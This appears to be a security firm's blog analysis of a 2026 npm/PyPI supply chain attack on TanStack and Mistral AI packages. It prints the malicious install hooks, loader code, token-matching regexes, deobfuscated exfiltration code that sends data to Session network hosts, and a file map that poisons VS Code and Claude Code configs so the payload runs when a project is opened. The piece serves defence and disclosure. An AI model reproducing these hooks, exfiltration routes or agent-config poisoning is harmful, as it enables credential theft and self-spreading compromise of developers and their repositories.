Mass NPM Supply Chain Attack Hits TanStack, Mistral AI, and 170 Packages
On May 12, 2026, SafeDep disclosed a supply chain attack targeting npm and PyPI ecosystems, affecting over 170 packages including TanStack and Mistral AI. Attackers tampered with build scripts, added malicious downloaders, and used the Session protocol to exfiltrate credentials. The payload also includes IDE and AI agent poisoning mechanisms that self-replicate and commit malicious configuration files to victim repositories, creating a persistent infection loop.
Article intelligence
Key points
- Attack compromised over 170 packages including TanStack and Mistral AI by altering package.json and adding malicious scripts.
- Malicious payload uses AES encryption and Bun runtime, with a modular credential stealing framework targeting AWS, HashiCorp Vault, GitHub tokens, etc.
- Exfiltration via Session protocol and Oxen network enables dynamic routing, making it hard to block via fixed domains.
- Attackers leverage IDE configurations and GitHub GraphQL API to auto-commit malicious files to branches, infecting developers who pull the code.
Why it matters
This matters because attack compromised over 170 packages including TanStack and Mistral AI by altering package.json and adding malicious scripts.
Technical impact
May affect model selection, inference cost, product capability, and evaluation benchmarks.
Back to Blog
Mass Supply Chain Attack Hits TanStack, Mistral AI npm and PyPI Packages
Malware
SafeDep Team
• May 12, 2026 • 18 min read
Table of Contents
// package.json diff
2
"lint": "oxlint --max-warnings=0 --deny-warnings src/**/*.ts src/**/*.tsx",
3
"build": "tsgo",
4
"prepublishOnly": "npm run build"
5
"preinstall": "node setup.mjs"
The attacker replaced all legitimate build scripts with a single preinstall hook and added two files:
setup.mjs: A downloader/loader that bootstraps the attack
router_init.js: A 2.2MB heavily obfuscated payload (single line, hex variable obfuscation)
The attacker did not modify any existing SDK source files. The attack is additive only.
Execution Trigger: setup.mjs
The preinstall hook runs setup.mjs, which downloads a platform-specific Bun runtime binary from GitHub releases (bun-v1.3.13) and uses it to execute the obfuscated payload:
setup.mjs
1
const V = '1.3.13';
2
const E = 'tanstack_runner.js';
3
4
// Downloads Bun from official GitHub releases
5
const u = https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip;
6
7
// Extracts Bun, then runs the payload
8
execFileSync(bp, [ep], { stdio: 'inherit', cwd: D });
The loader supports Linux (x64, arm64, musl), macOS (x64, arm64), and Windows (x64, arm64). It detects musl-based systems (Alpine) for correct binary selection. If Bun is already installed on the system, it skips the download and uses the local copy.
The setup.mjs references the payload as tanstack_runner.js, but the actual file in the package is router_init.js. This naming mismatch means the Mistral preinstall hook fails at runtime. The tanstack_ prefix in a Mistral AI package confirms the attacker reused a template built for the TanStack packages without updating the filename constant.
TanStack: @tanstack/[email protected]
The TanStack variant uses a different, more subtle trigger mechanism. Diffing @tanstack/[email protected] (legitimate) against 1.169.5 (compromised) shows the attacker left the scripts block untouched and instead injected a single entry into optionalDependencies:
1
// package.json diff (1.169.2 → 1.169.5)
2
"optionalDependencies": {
3
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
4
}
No setup.mjs exists in the TanStack tarball. The attack does not modify scripts at all. Instead, @tanstack/setup resolves to a malicious commit in the tanstack/router GitHub repository.
Terminal window
1
List files at the malicious commit
2
curl -s "https://api.github.com/repos/tanstack/router/git/trees/79ac49eedf774dd4b0cfa308722bc463cfe5885c" \
3
| jq '.tree[] | {path, size}'
4
5
Fetch package.json
6
curl -sL "https://raw.githubusercontent.com/tanstack/router/79ac49eedf774dd4b0cfa308722bc463cfe5885c/package.json"
Note: GitHub has since removed this commit. The commands above will return 404. Our analysis was performed before the cleanup.
That commit contained two files:
1
package.json (175 bytes)
2
tanstack_runner.js (2,339,346 bytes)
The package.json at that commit:
1
{
2
"name": "@tanstack/setup",
3
"scripts": {
4
"prepare": "bun run tanstack_runner.js && exit 1"
5
}
6
}
npm resolves the GitHub dependency by cloning the commit and running the prepare script, which executes the payload via Bun. The && exit 1 forces the prepare step to fail after execution, suppressing any further post-install output that might alert the developer.
This trigger is harder to spot than the Mistral variant. A reviewer scanning package.json sees no modified scripts block. The malicious entry hides in optionalDependencies and points to a real GitHub repository (tanstack/router), not a suspicious external URL. The attacker had write access to the TanStack GitHub repository to push this commit, indicating compromised GitHub credentials in addition to npm publish tokens.
The npm tarball also contains router_init.js (2,341,681 bytes), a slightly larger copy of the same obfuscated payload. Both the GitHub-hosted tanstack_runner.js and the tarball’s router_init.js contain identical malicious functionality: 396 beautify() encrypted string calls, the same AES decryption layer, the same credential provider class hierarchy, the same Session C2 implementation (including the mlYTXvk... seed node certificate fingerprint), and the same IDE poisoning file map (.claude/settings.json, .vscode/tasks.json). The hex variable names differ between the two, indicating each got a separate obfuscation pass from the same tool.
Obfuscated Payload: router_init.js
The payload is a 2.2MB single-line JavaScript file using hex variable obfuscation (_0x12ada1, _0x3782, _0x360f). It uses a shuffled string array with a rotation function, making static analysis difficult. Critical strings are double-encrypted: first through the hex obfuscator’s lookup table, then through AES decryption via a w8() function that uses createDecipheriv and Bun’s gunzipSync.
The payload contains a modular credential stealing framework with dedicated provider classes, all extending a base class gQ:
ClassTargetCredentials Harvested
NKAWSAWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, IAM instance credentials via 169.254.169.254
ZKHashiCorp VaultVAULT_TOKEN, VAULT_AUTH_TOKEN (default: http://127.0.0.1:8200)
MKGitHub Actions Runnerghp_*, gho_*, ghs_* tokens, ACTIONS_ID_TOKEN
JKGitHub Actions (CI)ghp_*, gho_* tokens, npm_* tokens
FKSecrets Managerghp_*, gho_*, npm_* tokens
UKSecrets Managernpm_* tokens
DK / OKMiscellaneousghp_*, gho_*, npm_* tokens
Token patterns matched by the credential scanner:
1
/gh[op]_[A-Za-z0-9_\-\.]{36,}/g // GitHub personal/OAuth tokens
2
/npm_[A-Za-z0-9_\-\.]{36,}/g // npm publish tokens
3
/ghs_[A-Za-z0-9]{36,}/g // GitHub App installation tokens
4
/ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g // GitHub Actions JWTs
Exfiltration via Session Protocol
The payload exfiltrates stolen credentials through the Session messaging protocol, an onion-routed encrypted messenger built on the Oxen network. It embeds a full Session client implementation, not a simple HTTP call to a C2 domain.
The payload bootstraps by connecting to Session’s seed nodes with pinned TLS certificates issued by the Oxen Privacy Tech Foundation:
1
// router_init.js (deobfuscated)
2
// Seed nodes with pinned certs
3
J_ = { url: 'seed1.getsession.org', certContent: '...', pubkey256: 'mlYTXvkmIEYcpswANTpnBwlz9Cswi0py/RQKkbdQOZQ=' };
4
X_ = { url: 'seed2.getsession.org', certContent: '...' }; // CN=seed2.getsession.org, O=Oxen Privacy Tech Foundation
5
Y_ = { url: 'seed3.getsession.org', certContent: '...' }; // CN=seed3.getsession.org, O=Oxen Privacy Tech Foundation
6
sK = [J_, X_, Y_];
7
8
// Bootstrap: fetch snode list via Oxen JSON-RPC
9
let response = await fetch('https://' + seedNode.url + '/json_rpc', {
10
method: 'POST',
11
body: JSON.stringify({
12
jsonrpc: '2.0',
13
id: 0,
14
method: 'get_n_service_nodes',
15
params: { fields: { public_ip: true, storage_port: true, pubkey_x25519: true, pubkey_ed25519: true } },
16
}),
17
});
After retrieving the snode list, the payload resolves the target swarm for the attacker’s Session ID and routes encrypted messages through selected snodes:
1
// router_init.js (deobfuscated)
2
// Snode request function - URL is dynamic, not a fixed C2 endpoint
3
let url = 'https://' + targetNode.ip + ':' + targetNode.port + '/storage_rpc/v1'
4
// JSON-RPC body: { jsonrpc: '2.0', method: 'store' | 'retrieve', params: ... }
5
6
// Swarm resolution for a given Session public key
7
async function iF({ snode, pubkey }) {
8
return { swarms: (await ...([{ method: 'get_swarm', params: { pubkey } }])) }
9
}
Larger data blobs (file uploads) go through Session’s centralized file server at hxxp://filev2[.]getsession[.]org/file/:
1
// router_init.js (deobfuscated)
2
'RXjHv': 'http://filev2.getsession.org/file/'
The payload uses ed25519 and x25519 key pairs for Session’s end-to-end encryption. There are no fixed C2 URLs to block: message routing happens through the Session swarm network, where snode addresses are resolved at runtime. The only static infrastructure is the seed node bootstrap and the file upload server.
IDE and AI Agent Poisoning
The payload contains a self-replicating mechanism that commits malicious configuration files into victim repositories. This section traces the full chain from file map to GitHub commit.
File Map
The payload defines a map of files to drop into target repositories:
1
// router_init.js (deobfuscated variable names, encrypted values preserved)
2
var hO = {
3
'.vscode/tasks.json': FO, // VS Code task runner config (encrypted)
4
'.claude/router_runtime.js': { sourcePath: Bun.main }, // self-copy of the running payload
5
'.claude/settings.json': DO, // Claude Code settings (encrypted)
6
'.claude/setup.mjs': h9, // Claude Code hook (encrypted)
7
'.vscode/setup.mjs': h9, // VS Code hook (encrypted, same as above)
8
};
FO, DO, and h9 are double-encrypted strings decoded at runtime through w8(beautify(...), key), the same AES + gunzip pipeline used throughout the payload. The .claude/setup.mjs and .vscode/setup.mjs share the same encrypted blob (h9).
The .claude/router_runtime.js entry does not use an encrypted string. Instead, { sourcePath: Bun.main } tells the file processor (yO function) to read the currently executing script, base64-encode it, and include it in the commit. Bun.main resolves to the absolute path of router_init.js. The attacker commits the full 2.2MB obfuscated payload into the victim’s repository, ensuring the next stage of the chain has the complete malware available locally.
Target Repository and Branch Selection
The payload reads process.env.GITHUB_REPOSITORY (set by GitHub Actions) and splits it into owner/repo:
1
// router_init.js (deobfuscated)
2
function fO() {
3
let repo = process.env.GITHUB_REPOSITORY; // e.g. "octocat/hello-world"
4
let [owner, name] = repo.split('/');
5
return { owner, repo: name };
6
}
The branch lister (p6 class) queries up to 50 branches via GitHub’s GraphQL API, then filters out branches matching an exclusion list (s3). The exclusion list contains four encrypted patterns, likely main, master, develop, and release. The payload targets feature and topic branches, where a new commit is less likely to trigger review and more likely to be merged into the main branch.
Commit Execution
The payload commits poisoned files using GitHub’s createCommitOnBranch GraphQL mutation, batching two branch commits per API call:
1
// router_init.js (literal string, not obfuscated)
2
var kO = `
3
mutation CreateCommitOnBranch($input: CreateCommitOnBranchInput!) {
4
createCommitOnBranch(input: $input) {
5
commit {
6
oid
7
url
8
}
9
}
10
}
11
`;
For multiple branches, xO() generates a batched mutation with indexed inputs ($input0, $input1, etc.), processing two branches per request (KS = 0x2). Each commit includes an encrypted headline (GS) and a Co-authored-by trailer generated from the qS author list (encrypted name and email). The co-author line makes the commit appear collaborative rather than anomalous.
Propagation Chain
The dropped files create a self-sustaining infection loop:
.claude/settings.json and .vscode/tasks.json configure the IDE or AI agent to execute .claude/setup.mjs or .vscode/setup.mjs on project load
setup.mjs (h9) runs router_runtime.js, which is the full payload
The payload harvests credentials from the new victim environment and repeats the cycle
Any developer who clones or pulls a poisoned branch gets the malicious IDE configuration. Opening the project in VS Code or running Claude Code triggers the payload without any explicit action from the developer.
Secondary GitHub Channels
The payload also uses GitHub’s REST API for two additional purposes:
Commit search as C2: The MM function queries api.gith
[truncated for AI cost control]